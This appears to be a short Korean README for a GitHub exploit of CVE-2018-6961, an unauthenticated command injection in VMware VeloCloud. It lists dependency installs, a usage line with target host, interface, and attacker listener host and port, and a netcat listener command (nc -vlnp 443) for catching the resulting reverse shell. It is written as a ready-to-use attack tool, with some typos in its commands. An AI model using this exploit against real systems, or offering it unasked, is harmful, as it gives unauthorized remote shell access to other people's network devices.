bokanrb/cve-2018-6961veloCloud VMWare - 취약점
CVE-2018-6961 - 인증되지 않은 명령 삽입 취약점
이 익스플로잇은 Python2.7에서 동작합니다 - 다른 버전에서는 테스트되지 않았습니다
1) 의존성 설치
pip install request
pip가 설치되어 있지 않다면 다음을 실행하세요
apt-get install python-pip
**2) 사용법 **
python exployt.py --rhost --interface --lhost --lport --function
python exploit.py --rhost 1.1.1.1 --interface ge1 --lhost 2.2.2.2 --lport 443 --function traceroute
Exploiting...................
3) 다른 터미널에서 netcat을 설정하는 것을 잊지 마세요
nc -vlnp 443
TODO --동일한 터미널에서 netcat을 실행하도록 스크립트를 개선하기